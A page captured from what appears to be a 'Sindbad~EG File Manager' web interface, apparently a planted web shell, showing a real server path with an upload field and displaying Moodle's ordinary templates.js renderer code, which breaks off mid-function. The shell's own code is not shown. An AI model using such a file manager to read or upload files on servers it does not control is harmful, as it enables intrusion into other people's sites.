Sindbad~EG File Manager

Current Path : /var/www/html/aprendizajesetac.sumar.com.py/lib/amd/src/
Upload File :
Current File : /var/www/html/aprendizajesetac.sumar.com.py/lib/amd/src/templates.js

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Template renderer for Moodle. Load and render Moodle templates with Mustache.
 *
 * @module     core/templates
 * @copyright  2015 Damyon Wiese <damyon@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      2.9
 */
define([
    'core/mustache',
    'jquery',
    'core/ajax',
    'core/str',
    'core/notification',
    'core/url',
    'core/config',
    'core/localstorage',
    'core/icon_system',
    'core_filters/events',
    'core/yui',
    'core/log',
    'core/truncate',
    'core/user_date',
    'core/pending',
],
function(
    mustache,
    $,
    ajax,
    str,
    notification,
    coreurl,
    config,
    storage,
    IconSystem,
    filterEvents,
    Y,
    Log,
    Truncate,
    UserDate,
    Pending
) {

    // Module variables.
    /** @var {Number} uniqInstances Count of times this constructor has been called. */
    var uniqInstances = 0;

    /** @var {String[]} templateCache - Cache of already loaded template strings */
    var templateCache = {};

    /** @var {Promise[]} templatePromises - Cache of already loaded template promises */
    var templatePromises = {};

    /** @var {Promise[]} cachePartialPromises - Cache of already loaded template partial promises */
    var cachePartialPromises = {};

    /** @var {Object} iconSystem - Object extending core/iconsystem */
    var iconSystem = {};

    /** @var {Object[]} loadTemplateBuffer - List of templates to be loaded */
    var loadTemplateBuffer = [];

    /** @var {Bool} isLoadingTemplates - Whether templates are currently being loaded */
    var isLoadingTemplates = false;

    /** @var {Array} disallowedNestedHelpers - List of helpers that can't be called within other helpers */
    var disallowedNestedHelpers = ['js'];

    /**
     * Normalise the provided component such that '', 'moodle', and 'core' are treated consistently.
     *
     * @param   {String} component
     * @returns {String}
     */
    var getNormalisedComponent = function(component) {
        if (component) {
            if (component !== 'moodle' && component !== 'core') {
                return component;
            }
        }

        return 'core';
    };

    /**
     * Search the various caches for a template promise for the given search key.
     * The search key should be in the format <theme>/<component>/<template> e.g. boost/core/modal.
     *
     * If the template is found in any of the caches it will populate the other caches with
     * the same data as well.
     *
     * @param {String} searchKey The template search key in the format <theme>/<component>/<template> e.g. boost/core/modal
     * @return {Object} jQuery promise resolved with the template source
     */
    var getTemplatePromiseFromCache = function(searchKey) {
        // First try the cache of promises.
        if (searchKey in templatePromises) {
            return templatePromises[searchKey];
        }

        // Check the module cache.
        if (searchKey in templateCache) {
            // Add this to the promises cache for future.
            templatePromises[searchKey] = $.Deferred().resolve(templateCache[searchKey]).promise();
            return templatePromises[searchKey];
        }

        if (M.cfg.templaterev <= 0) {
            // Template caching is disabled. Do not store in persistent storage.
            return null;
        }

        // Now try local storage.
        var cached = storage.get('core_template/' + M.cfg.templaterev + ':' + searchKey);
        if (cached) {
            // Add this to the module cache for future.
            templateCache[searchKey] = cached;
            // Add this to the promises cache for future.
            templatePromises[searchKey] = $.Deferred().resolve(cached).promise();
            return templatePromises[searchKey];
        }

        return null;
    };

    /**
     * Take all of the templates waiting in the buffer and load them from the server
     * or from the cache.
     *
     * All of the templates that need to be loaded from the server will be batched up
     * and sent in a single network request.
     */
    var processLoadTemplateBuffer = function() {
        if (!loadTemplateBuffer.length) {
            return;
        }

        if (isLoadingTemplates) {
            return;
        }

        isLoadingTemplates = true;
        // Grab any templates waiting in the buffer.
        var templatesToLoad = loadTemplateBuffer.slice();
        // This will be resolved with the list of promises for the server request.
        var serverRequestsDeferred = $.Deferred();
        var requests = [];
        // Get a list of promises for each of the templates we need to load.
        var templatePromises = templatesToLoad.map(function(templateData) {
            var component = getNormalisedComponent(templateData.component);
            var name = templateData.name;
            var searchKey = templateData.searchKey;
            var theme = templateData.theme;
            var templateDeferred = templateData.deferred;
            var promise = null;

            // Double check to see if this template happened to have landed in the
            // cache as a dependency of an earlier template.
            var cachedPromise = getTemplatePromiseFromCache(searchKey);
            if (cachedPromise) {
                // We've seen this template so immediately resolve the existing promise.
                promise = cachedPromise;
            } else {
                // We haven't seen this template yet so we need to request it from
                // the server.
                requests.push({
                    methodname: 'core_output_load_template_with_dependencies',
                    args: {
                        component: component,
                        template: name,
                        themename: theme,
                        lang: config.language,
                    }
                });
                // Remember the index in the requests list for this template so that
                // we can get the appropriate promise back.
                var index = requests.length - 1;

                // The server deferred will be resolved with a list of all of the promises
                // that were sent in the order that they were added to the requests array.
                promise = serverRequestsDeferred.promise()
                    .then(function(promises) {
                        // The promise for this template will be the one that matches the index
                        // for it's entry in the requests array.
                        //
                        // Make sure the promise is added to the promises cache for this template
                        // search key so that we don't request it again.
                        templatePromises[searchKey] = promises[index].then(function(response) {
                            var templateSource = null;

                            // Process all of the template dependencies for this template and add
                            // them to the caches so that we don't request them again later.
                            response.templates.forEach(function(data) {
                                data.component = getNormalisedComponent(data.component);
                                // Generate the search key for this template in the response so that we
                                // can add it to the caches.
                                var tempSearchKey = [theme, data.component, data.name].join('/');
                                // Cache all of the dependent templates because we'll need them to render
                                // the requested template.
                                templateCache[tempSearchKey] = data.value;

                                if (M.cfg.templaterev > 0) {
                                    // The template cache is enabled - set the value there.
                                    storage.set('core_template/' + M.cfg.templaterev + ':' + tempSearchKey, data.value);
                                }

                                if (data.component == component && data.name == name) {
                                    // This is the original template that was requested so remember it to return.
                                    templateSource = data.value;
                                }
                            });

                            if (response.strings.length) {
                                // If we have strings that the template needs then warm the string cache
                                // with them now so that we don't need to re-fetch them.
                                str.cache_strings(response.strings.map(function(data) {
                                    return {
                                        component: getNormalisedComponent(data.component),
                                        key: data.name,
                                        value: data.value
                                    };
                                }));
                            }

                            // Return the original template source that the user requested.
                            return templateSource;
                        });

                        return templatePromises[searchKey];
                    });
            }

            return promise
                .then(function(source) {
                    // When we've successfully loaded the template then resolve the deferred
                    // in the buffer so that all of the calling code can proceed.
                    return templateDeferred.resolve(source);
                })
                .catch(function(error) {
                    // If there was an error loading the template then reject the deferred
                    // in the buffer so that all of the calling code can proceed.
                    templateDeferred.reject(error);
                    // Rethrow for anyone else listening.
                    throw error;
                });
        });

        if (requests.length) {
            // We have requests to send so resolve the deferred with the promises.
            serverRequestsDeferred.resolve(ajax.call(requests, true, false, false, 0, M.cfg.templaterev));
        } else {
            // Nothing to load so we can resolve our deferred.
            serverRequestsDeferred.resolve();
        }

        // Once we've finished loading all of the templates then recurse to process
        // any templates that may have been added to the buffer in the time that we
        // were fetching.
        $.when.apply(null, templatePromises)
            .then(function() {
                // Remove the templates we've loaded from the buffer.
                loadTemplateBuffer.splice(0, templatesToLoad.length);
                isLoadingTemplates = false;
                processLoadTemplateBuffer();
                return;
            })
            .catch(function() {
                // Remove the templates we've loaded from the buffer.
                loadTemplateBuffer.splice(0, templatesToLoad.length);
                isLoadingTemplates = false;
                processLoadTemplateBuffer();
            });
    };

    /**
     * Constructor
     *
     * Each call to templates.render gets it's own instance of this class.
     */
    var Renderer = function() {
        this.requiredStrings = [];
        this.requiredJS = [];
        this.requiredDates = [];
        this.currentThemeName = '';
    };
    // Class variables and functions.

    /** @var {string[]} requiredStrings - Collection of strings found during the rendering of one template */
    Renderer.prototype.requiredStrings = null;

    /** @var {object[]} requiredDates - Collection of dates found during the rendering of one template */
    Renderer.prototype.requiredDates = [];

    /** @var {string[]} requiredJS - Collection of js blocks found during the rendering of one template */
    Renderer.prototype.requiredJS = null;

    /** @var {String} themeName for the current render */
    Renderer.prototype.currentThemeName = '';

    /**
     * Load a template.
     *
     * @method getTemplate
     * @private
     * @param {string} templateName - should consist of the component and the name of the template like this:
     *                              core/menu (lib/templates/menu.mustache) or
     *                              tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
     * @return {Promise} JQuery promise object resolved when the template has been fetched.
     */
    Renderer.prototype.getTemplate = function(templateName) {
        var currentTheme = this.currentThemeName;
        var searchKey = currentTheme + '/' + templateName;

        // If we haven't already seen this template then buffer it.
        var cachedPromise = getTemplatePromiseFromCache(searchKey);
        if (cachedPromise) {
            return cachedPromise;
        }

        // Check the buffer to see if this template has already been added.
        var existingBufferRecords = loadTemplateBuffer.filter(function(record) {
            return record.searchKey == searchKey;
        });
        if (existingBufferRecords.length) {
            // This template is already in the buffer so just return the existing
            // promise. No need to add it to the buffer again.
            return existingBufferRecords[0].deferred.promise();
        }

        // This is the first time this has been requested so let's add it to the buffer
        // to be loaded.
        var parts = templateName.split('/');
        var component = getNormalisedComponent(parts.shift());
        var name = parts.join('/');
        var deferred = $.Deferred();

        // Add this template to the buffer to be loaded.
        loadTemplateBuffer.push({
            component: component,
            name: name,
            theme: currentTheme,
            searchKey: searchKey,
            deferred: deferred
        });

        // We know there is at least one thing in the buffer so kick off a processing run.
        processLoadTemplateBuffer();
        return deferred.promise();
    };

    /**
     * Prefetch a set of templates without rendering them.
     *
     * @param {Array} templateNames The list of templates to fetch
     * @param {String} currentTheme
     */
    Renderer.prototype.prefetchTemplates = function(templateNames, currentTheme) {
        templateNames.forEach(function(templateName) {
            var searchKey = currentTheme + '/' + templateName;

            // If we haven't already seen this template then buffer it.
            if (getTemplatePromiseFromCache(searchKey)) {
                return;
            }

            // Check the buffer to see if this template has already been added.
            var existingBufferRecords = loadTemplateBuffer.filter(function(record) {
                return record.searchKey == searchKey;
            });

            if (existingBufferRecords.length) {
                // This template is already in the buffer so just return the existing promise.
                // No need to add it to the buffer again.
                return;
            }

            // This is the first time this has been requested so let's add it to the buffer to be loaded.
            var parts = templateName.split('/');
            var component = getNormalisedComponent(parts.shift());
            var name = parts.join('/');

            // Add this template to the buffer to be loaded.
            loadTemplateBuffer.push({
                component: component,
                name: name,
                theme: currentTheme,
                searchKey: searchKey,
                deferred: $.Deferred(),
            });
        });

        processLoadTemplateBuffer();
    };

    /**
     * Load a partial from the cache or ajax.
     *
     * @method partialHelper
     * @private
     * @param {string} name The partial name to load.
     * @return {string}
     */
    Renderer.prototype.partialHelper = function(name) {

        var searchKey = this.currentThemeName + '/' + name;

        if (!(searchKey in templateCache)) {
            notification.exception(new Error('Failed to pre-fetch the template: ' + name));
        }

        return templateCache[searchKey];
    };

    /**
     * Render a single image icon.
     *
     * @method renderIcon
     * @private
     * @param {string} key The icon key.
     * @param {string} component The component name.
     * @param {string} title The icon title
     * @return {Promise}
     */
    Renderer.prototype.renderIcon = function(key, component, title) {
        // Preload the module to do the icon rendering based on the theme iconsystem.
        var modulename = config.iconsystemmodule;
        component = getNormalisedComponent(component);

        // RequireJS does not return a promise.
        var ready = $.Deferred();
        require([modulename], function(System) {
            var system = new System();
            if (!(system instanceof IconSystem)) {
                ready.reject('Invalid icon system specified' + config.iconsystemmodule);
            } else {
                iconSystem = system;
                system.init().then(ready.resolve).catch(notification.exception);
            }
        });

        return ready.then(function(iconSystem) {
            return this.getTemplate(iconSystem.getTemplateName());
        }.bind(this)).then(function(template) {
            return iconSystem.renderIcon(
                key,
                component,
                title,
                template
            );
        });
    };

    /**
     * Render image icons.
     *
     * @method pixHelper
     * @private
     * @param {object} context The mustache context
     * @param {string} sectionText The text to parse arguments from.
     * @param {function} helper Used to render the alt attribute of the text.
     * @return {string}
     */
    Renderer.prototype.pixHelper = function(context, sectionText, helper) {
        var parts = sectionText.split(',');
        var key = '';
        var component = '';
        var text = '';

        if (parts.length > 0) {
            key = helper(parts.shift().trim(), context);
        }
        if (parts.length > 0) {
            component = helper(parts.shift().trim(), context);
        }
        if (parts.length > 0) {
            text = helper(parts.join(',').trim(), context);
        }

        var templateName = iconSystem.getTemplateName();
        var searchKey = this.currentThemeName + '/' + templateName;
        var template = templateCache[searchKey];

        component = getNormalisedComponent(component);

        // The key might have been escaped by the JS Mustache engine which
        // converts forward slashes to HTML entities. Let us undo that here.
        key = key.replace(/&#x2F;/gi, '/');

        return iconSystem.renderIcon(
            key,
            component,
            text,
            template
        );
    };

    /**
     * Render blocks of javascript and save them in an array.
     *
     * @method jsHelper
     * @private
     * @param {object} context The current mustache context.
     * @param {string} sectionText The text to save as a js block.
     * @param {function} helper Used to render the block.
     * @return {string}
     */
    Renderer.prototype.jsHelper = function(context, sectionText, helper) {
        this.requiredJS.push(helper(sectionText, context));
        return '';
    };

    /**
     * String helper used to render {{#str}}abd component { a : 'fish'}{{/str}}
     * into a get_string call.
     *
     * @method stringHelper
     * @private
     * @param {object} context The current mustache context.
     * @param {string} sectionText The text to parse the arguments from.
     * @param {function} helper Used to render subsections of the text.
     * @return {string}
     */
    Renderer.prototype.stringHelper = function(context, sectionText, helper) {
        var parts = sectionText.split(',');
        var key = '';
        var component = '';
        var param = '';
        if (parts.length > 0) {
            key = parts.shift().trim();
        }
        if (parts.length > 0) {
            component = parts.shift().trim();
        }
        if (parts.length > 0) {
            param = parts.join(',').trim();
        }

        component = getNormalisedComponent(component);

        if (param !== '') {
            // Allow variable expansion in the param part only.
            param = helper(param, context);
        }

        // Allow json formatted $a arguments.
        if (param.match(/^{\s*"/gm)) {
            // If it can't be parsed then the string is not a JSON format.
            try {
                const parsedParam = JSON.parse(param);
                // Handle non-exception-throwing cases, e.g. null, integer, boolean.
                if (parsedParam && typeof parsedParam === "object") {
                    param = parsedParam;
                }
            } catch (err) {
                // This was probably not JSON.
                // Keep the error message visible.
                window.console.warn(err.message);
            }
        }

        var index = this.requiredStrings.length;
        this.requiredStrings.push({
            key: key,
            component: component,
            param: param
        });

        // The placeholder must not use {{}} as those can be misinterpreted by the engine.
        return '[[_s' + index + ']]';
    };

    /**
     * String helper to render {{#cleanstr}}abd component { a : 'fish'}{{/cleanstr}}
     * into a get_string following by an HTML escape.
     *
     * @method cleanStringHelper
     * @private
     * @param {object} context The current mustache context.
     * @param {string} sectionText The text to parse the arguments from.
     * @param {function} helper Used to render subsections of the text.
     * @return {string}
     */
    Renderer.prototype.cleanStringHelper = function(context, sectionText, helper) {
        var str = this.stringHelper(context, sectionText, helper);

        // We're going to use [[_cx]] format for clean strings, where x is a number.
        // Hence, replacing 's' with 'c' in the placeholder that stringHelper returns.
        return str.replace('s', 'c');
    };

    /**
     * Quote helper used to wrap content in quotes, and escape all special JSON characters present in the content.
     *
     * @method quoteHelper
     * @private
     * @param {object} context The current mustache context.
     * @param {string} sectionText The text to parse the arguments from.
     * @param {function} helper Used to render subsections of the text.
     * @return {string}
     */
    Renderer.prototype.quoteHelper = function(context, sectionText, helper) {
        var content = helper(sectionText.trim(), context);

        // Escape the {{ and JSON encode.
        // This involves wrapping {{, and }} in change delimeter tags.
        content = JSON.stringify(content);
        content = content.replace(/([{}]{2,3})/g, '{{=<% %>=}}$1<%={{ }}=%>');
        return content;
    };

    /**
     * Shorten text helper to truncate text and append a trailing ellipsis.
     *
     * @method shortenTextHelper
     * @private
     * @param {object} context The current mustache context.
     * @param {string} sectionText The text to parse the arguments from.
     * @param {function} helper Used to render subsections of the text.
     * @return {string}
     */
    Renderer.prototype.shortenTextHelper = function(context, sectionText, helper) {
        // Non-greedy split on comma to grab section text into the length and
        // text parts.
        var regex = /(.*?),(.*)/;
        var parts = sectionText.match(regex);
        // The length is the part matched in the first set of parethesis.
        var length = parts[1].trim();
        // The length is the part matched in the second set of parethesis.
        var text = parts[2].trim();
        var content = helper(text, context);
        return Truncate.truncate(content, {
            length: length,
            words: true,
            ellipsis: '...'
        });
    };

    /**
     * User date helper to render user dates from timestamps.
     *
     * @method userDateHelper
     * @private
     * @param {object} context The current mustache context.
     * @param {string} sectionText The text to parse the arguments from.
     * @param {function} helper Used to render subsections of the text.
     * @return {string}
     */
    Renderer.prototype.userDateHelper = function(context, sectionText, helper) {
        // Non-greedy split on comma to grab the timestamp and format.
        var regex = /(.*?),(.*)/;
        var parts = sectionText.match(regex);
        var timestamp = helper(parts[1].trim(), context);
        var format = helper(parts[2].trim(), context);
        var index = this.requiredDates.length;

        this.requiredDates.push({
            timestamp: timestamp,
            format: format
        });

        return '[[_t_' + index + ']]';
    };

    /**
     * Return a helper function to be added to the context for rendering the a
     * template.
     *
     * This will parse the provided text before giving it to the helper function
     * in order to remove any disallowed nested helpers to prevent one helper
     * from calling another.
     *
     * In particular to prevent the JS helper from being called from within another
     * helper because it can lead to security issues when the JS portion is user
     * provided.
     *
     * @param  {function} helperFunction The helper function to add
     * @param  {object} context The template context for the helper function
     * @return {Function} To be set in the context
     */
    Renderer.prototype.addHelperFunction = function(helperFunction, context) {
        return function() {
            return function(sectionText, helper) {
                // Override the disallowed helpers in the template context with
                // a function that returns an empty string for use when executing
                // other helpers. This is to prevent these helpers from being
                // executed as part of the rendering of another helper in order to
                // prevent any potential security issues.
                var originalHelpers = disallowedNestedHelpers.reduce(function(carry, name) {
                    if (context.hasOwnProperty(name)) {
                        carry[name] = context[name];
                    }

                    return carry;
                }, {});

                disallowedNestedHelpers.forEach(function(helperName) {
                    context[helperName] = function() {
                        return '';
                    };
                });

                // Execute the helper with the modified context that doesn't include
                // the disallowed nested helpers. This prevents the disallowed
                // helpers from being called from within other helpers.
                var result = helperFunction.apply(this, [context, sectionText, helper]);

                // Restore the original helper implementation in the context so that
                // any further rendering has access to them again.
                for (var name in originalHelpers) {
                    context[name] = originalHelpers[name];
                }

                return result;
            }.bind(this);
        }.bind(this);
    };

    /**
     * Add some common helper functions to all context objects passed to templates.
     * These helpers match exactly the helpers available in php.
     *
     * @method addHelpers
     * @private
     * @param {Object} context Simple types used as the context for the template.
     * @param {String} themeName We set this multiple times, because there are async calls.
     */
    Renderer.prototype.addHelpers = function(context, themeName) {
        this.currentThemeName = themeName;
        this.requiredStrings = [];
        this.requiredJS = [];
        context.uniqid = (uniqInstances++);
        context.str = this.addHelperFunction(this.stringHelper, context);
        context.cleanstr = this.addHelperFunction(this.cleanStringHelper, context);
        context.pix = this.addHelperFunction(this.pixHelper, context);
        context.js = this.addHelperFunction(this.jsHelper, context);
        context.quote = this.addHelperFunction(this.quoteHelper, context);
        context.shortentext = this.addHelperFunction(this.shortenTextHelper, context);
        context.userdate = this.addHelperFunction(this.userDateHelper, context);
        context.globals = {config: config};
        context.currentTheme = themeName;
    };

    /**
     * Get all the JS blocks from the last rendered template.
     *
     * @method getJS
     * @private
     * @return {string}
     */
    Renderer.prototype.getJS = function() {
        var js = '';
        if (this.requiredJS.length > 0) {
            js = this.requiredJS.join(";\n");
        }

        return js;
    };

    /**
     * Treat strings in content.
     *
     * The purpose of this method is to replace the placeholders found in a string
     * with the their respective translated strings.
     *
     * Previously we were relying on String.replace() but the complexity increased with
     * the numbers of strings to replace. Now we manually walk the string and stop at each
     * placeholder we find, only then we replace it. Most of the time we will
     * replace all the placeholders in a single run, at times we will need a few
     * more runs when placeholders are replaced with strings that contain placeholders
     * themselves.
     *
     * @param {String} content The content in which string placeholders are to be found.
     * @param {Array} strings The strings to replace with.
     * @return {String} The treated content.
     */
    Renderer.prototype.treatStringsInContent = function(content, strings) {
        var pattern = /\[\[_(s|c)\d+\]\]/,
            treated,
            index,
            strIndex,
            walker,
            char,
            strFinal,
            isClean;

        do {
            treated = '';
            index = content.search(pattern);
            while (index > -1) {

                // Copy the part prior to the placeholder to the treated string.
                treated += content.substring(0, index);
                content = content.substr(index);
                isClean = content[3] == 'c';
                strIndex = '';
                walker = 4; // 4 is the length of either '[[_s' or '[[_c'.

                // Walk the characters to manually extract the index of the string from the placeholder.
                char = content.substr(walker, 1);
                do {
                    strIndex += char;
                    walker++;
                    char = content.substr(walker, 1);
                } while (char != ']');

                // Get the string, add it to the treated result, and remove the placeholder from the content to treat.
                strFinal = strings[parseInt(strIndex, 10)];
                if (typeof strFinal === 'undefined') {
                    Log.debug('Could not find string for pattern [[_' + (isClean ? 'c' : 's') + strIndex + ']].');
                    strFinal = '';
                }
                if (isClean) {
                    strFinal = mustache.escape(strFinal);
                }
                treated += strFinal;
                content = content.substr(6 + strIndex.length); // 6 is the length of the placeholder without the index.
                                                               // That's either '[[_s]]' or '[[_c]]'.

                // Find the next placeholder.
                index = content.search(pattern);
            }

            // The content becomes the treated part with the rest of the content.
            content = treated + content;

            // Check if we need to walk the content again, in case strings contained placeholders.
            index = content.search(pattern);

        } while (index > -1);

        return content;
    };

    /**
     * Treat strings in content.
     *
     * The purpose of this method is to replace the date placeholders found in the
     * content with the their respective translated dates.
     *
     * @param {String} content The content in which string placeholders are to be found.
     * @param {Array} dates The dates to replace with.
     * @return {String} The treated content.
     */
    Renderer.prototype.treatDatesInContent = function(content, dates) {
        dates.forEach(function(date, index) {
            var key = '\\[\\[_t_' + index + '\\]\\]';
            var re = new RegExp(key, 'g');
            content = content.replace(re, date);
        });

        return content;
    };

    /**
     * Render a template and then call the callback with the result.
     *
     * @method doRender
     * @private
     * @param {string} templateSource The mustache template to render.
     * @param {Object} context Simple types used as the context for the template.
     * @param {String} themeName Name of the current theme.
     * @return {Promise} object
     */
    Renderer.prototype.doRender = function(templateSource, context, themeName) {
        this.currentThemeName = themeName;
        var iconTemplate = iconSystem.getTemplateName();

        var pendingPromise = new Pending('core/templates:doRender');
        return this.getTemplate(iconTemplate).then(function() {
            this.addHelpers(context, themeName);
            var result = mustache.render(templateSource, context, this.partialHelper.bind(this));
            return $.Deferred().resolve(result.trim(), this.getJS()).promise();
        }.bind(this))
        .then(function(html, js) {
            if (this.requiredStrings.length > 0) {
                return str.get_strings(this.requiredStrings).then(function(strings) {

                    // Make sure string substitutions are done for the userdate
                    // values as well.
                    this.requiredDates = this.requiredDates.map(function(date) {
                        return {
                            timestamp: this.treatStringsInContent(date.timestamp, strings),
                            format: this.treatStringsInContent(date.format, strings)
                        };
                    }.bind(this));

                    // Why do we not do another call the render here?
                    //
                    // Because that would expose DOS holes. E.g.
                    // I create an assignment called "{{fish" which
                    // would get inserted in the template in the first pass
                    // and cause the template to die on the second pass (unbalanced).
                    html = this.treatStringsInContent(html, strings);
                    js = this.treatStringsInContent(js, strings);
                    return $.Deferred().resolve(html, js).promise();
                }.bind(this));
            }

            return $.Deferred().resolve(html, js).promise();
        }.bind(this))
        .then(function(html, js) {
            // This has to happen after the strings replacement because you can
            // use the string helper in content for the user date helper.
            if (this.requiredDates.length > 0) {
                return UserDate.get(this.requiredDates).then(function(dates) {
                    html = this.treatDatesInContent(html, dates);
                    js = this.treatDatesInContent(js, dates);
                    return $.Deferred().resolve(html, js).promise();
                }.bind(this));
            }

            return $.Deferred().resolve(html, js).promise();
        }.bind(this))
        .then(function(html, js) {
            pendingPromise.resolve();
            return $.Deferred().resolve(html, js).promise();
        });
    };

    /**
     * Execute a block of JS returned from a template.
     * Call this AFTER adding the template HTML into the DOM so the nodes can be found.
     *
     * @method runTemplateJS
     * @param {string} source - A block of javascript.
     */
    var runTemplateJS = function(source) {
        if (source.trim() !== '') {
            var newscript = $('<script>').attr('type', 'text/javascript').html(source);
            $('head').append(newscript);
        }
    };

    /**
     * Do some DOM replacement and trigger correct events and fire javascript.
     *
     * @method domReplace
     * @private
     * @param {JQuery} element - Element or selector to replace.
     * @param {String} newHTML - HTML to insert / replace.
     * @param {String} newJS - Javascript to run after the insertion.
     * @param {Boolean} replaceChildNodes - Replace only the childnodes, alternative is to replace the entire node.
     * @return {Array} The list of new DOM Nodes
     * @fires event:filterContentUpdated
     */
    var domReplace = function(element, newHTML, newJS, replaceChildNodes) {
        var replaceNode = $(element);
        if (replaceNode.length) {
            // First create the dom nodes so we have a reference to them.
            var newNodes = $(newHTML);
            var yuiNodes = null;
            // Do the replacement in the page.
            if (replaceChildNodes) {
                // Cleanup any YUI event listeners attached to any of these nodes.
                yuiNodes = new Y.NodeList(replaceNode.children().get());
                yuiNodes.destroy(true);

                // JQuery will cleanup after itself.
                replaceNode.empty();
                replaceNode.append(newNodes);
            } else {
                // Cleanup any YUI event listeners attached to any of these nodes.
                yuiNodes = new Y.NodeList(replaceNode.get());
                yuiNodes.destroy(true);

                // JQuery will cleanup after itself.
                replaceNode.replaceWith(newNodes);
            }
            // Run any javascript associated with the new HTML.
            runTemplateJS(newJS);
            // Notify all filters about the new content.
            filterEvents.notifyFilterContentUpdated(newNodes);

            return newNodes.get();
        }

        return [];
    };

    /**
     * Scan a template source for partial tags and return a list of the found partials.
     *
     * @method scanForPartials
     * @private
     * @param {string} templateSource - source template to scan.
     * @return {Array} List of partials.
     */
    Renderer.prototype.scanForPartials = function(templateSource) {
        var tokens = mustache.parse(templateSource),
            partials = [];

        var findPartial = function(tokens, partials) {
            var i, token;
            for (i = 0; i < tokens.length; i++) {
                token = tokens[i];
                if (token[0] == '>' || token[0] == '<') {
                    partials.push(token[1]);
                }
                if (token.length > 4) {
                    findPartial(token[4], partials);
                }
            }
        };

        findPartial(tokens, partials);

        return partials;
    };

    /**
     * Load a template and scan it for partials. Recursively fetch the partials.
     *
     * @method cachePartials
     * @private
     * @param {string} templateName - should consist of the component and the name of the template like this:
     *                              core/menu (lib/templates/menu.mustache) or
     *                              tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
     * @param {Array} parentage - A list of requested partials in this render chain.
     * @return {Promise} JQuery promise object resolved when all partials are in the cache.
     */
    Renderer.prototype.cachePartials = function(templateName, parentage) {
        var searchKey = this.currentThemeName + '/' + templateName;

        if (searchKey in cachePartialPromises) {
            return cachePartialPromises[searchKey];
        }

        // This promise will not be resolved until all child partials are also resolved and ready.
        // We create it here to allow us to check for recursive inclusion of templates.
        // Keep track of the requested partials in this chain.
        parentage = parentage || [searchKey];

        cachePartialPromises[searchKey] = $.Deferred();

        this.getTemplate(templateName)
        .then(function(templateSource) {
            var partials = this.scanForPartials(templateSource);
            var uniquePartials = partials.filter(function(partialName) {
                // Check for recursion.

                if (parentage.indexOf(this.currentThemeName + '/' + partialName) >= 0) {
                    // Ignore templates which include a parent template already requested in the current chain.
                    return false;
                }

                // Ignore templates that include themselves.
                return partialName != templateName;
            }.bind(this));

            // Fetch any partial which has not already been fetched.
            var fetchThemAll = uniquePartials.map(function(partialName) {
                parentage.push(this.currentThemeName + '/' + partialName);
                return this.cachePartials(partialName, parentage);
            }.bind(this));

            // Resolve the templateName promise when all of the children are resolved.
            return $.when.apply($, fetchThemAll)
            .then(function() {
                return cachePartialPromises[searchKey].resolve(templateSource);
            });
        }.bind(this))
        .catch(cachePartialPromises[searchKey].reject);

        return cachePartialPromises[searchKey];
    };

    /**
     * Load a template and call doRender on it.
     *
     * @method render
     * @private
     * @param {string} templateName - should consist of the component and the name of the template like this:
     *                              core/menu (lib/templates/menu.mustache) or
     *                              tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
     * @param {Object} context - Could be array, string or simple value for the context of the template.
     * @param {string} themeName - Name of the current theme.
     * @return {Promise} JQuery promise object resolved when the template has been rendered.
     */
    Renderer.prototype.render = function(templateName, context, themeName) {
        if (typeof (themeName) === "undefined") {
            // System context by default.
            themeName = config.theme;
        }

        this.currentThemeName = themeName;

        // Preload the module to do the icon rendering based on the theme iconsystem.
        var modulename = config.iconsystemmodule;

        var ready = $.Deferred();
        require([modulename], function(System) {
            var system = new System();
            if (!(system instanceof IconSystem)) {
                ready.reject('Invalid icon system specified' + config.iconsystem);
            } else {
                iconSystem = system;
                system.init().then(ready.resolve).catch(notification.exception);
            }
        });

        return ready.then(function() {
                return this.cachePartials(templateName);
            }.bind(this)).then(function(templateSource) {
                return this.doRender(templateSource, context, themeName);
            }.bind(this));
    };

    /**
     * Prepend some HTML to a node and trigger events and fire javascript.
     *
     * @method domPrepend
     * @private
     * @param {jQuery|String} element - Element or selector to prepend HTML to
     * @param {String} html - HTML to prepend
     * @param {String} js - Javascript to run after we prepend the html
     * @return {Array} The list of new DOM Nodes
     * @fires event:filterContentUpdated
     */
    var domPrepend = function(element, html, js) {
        var node = $(element);
        if (node.length) {
            // Prepend the html.
            var newContent = $(html);
            node.prepend(newContent);
            // Run any javascript associated with the new HTML.
            runTemplateJS(js);
            // Notify all filters about the new content.
            filterEvents.notifyFilterContentUpdated(node);

            return newContent.get();
        }

        return [];
    };

    /**
     * Append some HTML to a node and trigger events and fire javascript.
     *
     * @method domAppend
     * @private
     * @param {jQuery|String} element - Element or selector to append HTML to
     * @param {String} html - HTML to append
     * @param {String} js - Javascript to run after we append the html
     * @return {Array} The list of new DOM Nodes
     * @fires event:filterContentUpdated
     */
    var domAppend = function(element, html, js) {
        var node = $(element);
        if (node.length) {
            // Append the html.
            var newContent = $(html);
            node.append(newContent);
            // Run any javascript associated with the new HTML.
            runTemplateJS(js);
            // Notify all filters about the new content.
            filterEvents.notifyFilterContentUpdated(node);

            return newContent.get();
        }

        return [];
    };

    return /** @alias module:core/templates */ {
        // Public variables and functions.
        /**
         * Every call to render creates a new instance of the class and calls render on it. This
         * means each render call has it's own class variables.
         *
         * @method render
         * @private
         * @param {string} templateName - should consist of the component and the name of the template like this:
         *                              core/menu (lib/templates/menu.mustache) or
         *                              tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
         * @param {Object} context - Could be array, string or simple value for the context of the template.
         * @param {string} themeName - Name of the current theme.
         * @return {Promise} JQuery promise object resolved when the template has been rendered.
         */
        render: function(templateName, context, themeName) {
            var renderer = new Renderer();
            return renderer.render(templateName, context, themeName);
        },

        /**
         * Prefetch a set of templates without rendering them.
         *
         * @method getTemplate
         * @param {Array} templateNames The list of templates to fetch
         * @param {String} themeName
         * @returns {Promise}
         */
        prefetchTemplates: function(templateNames, themeName) {
            var renderer = new Renderer();

            if (typeof themeName === "undefined") {
                // System context by default.
                themeName = config.theme;
            }

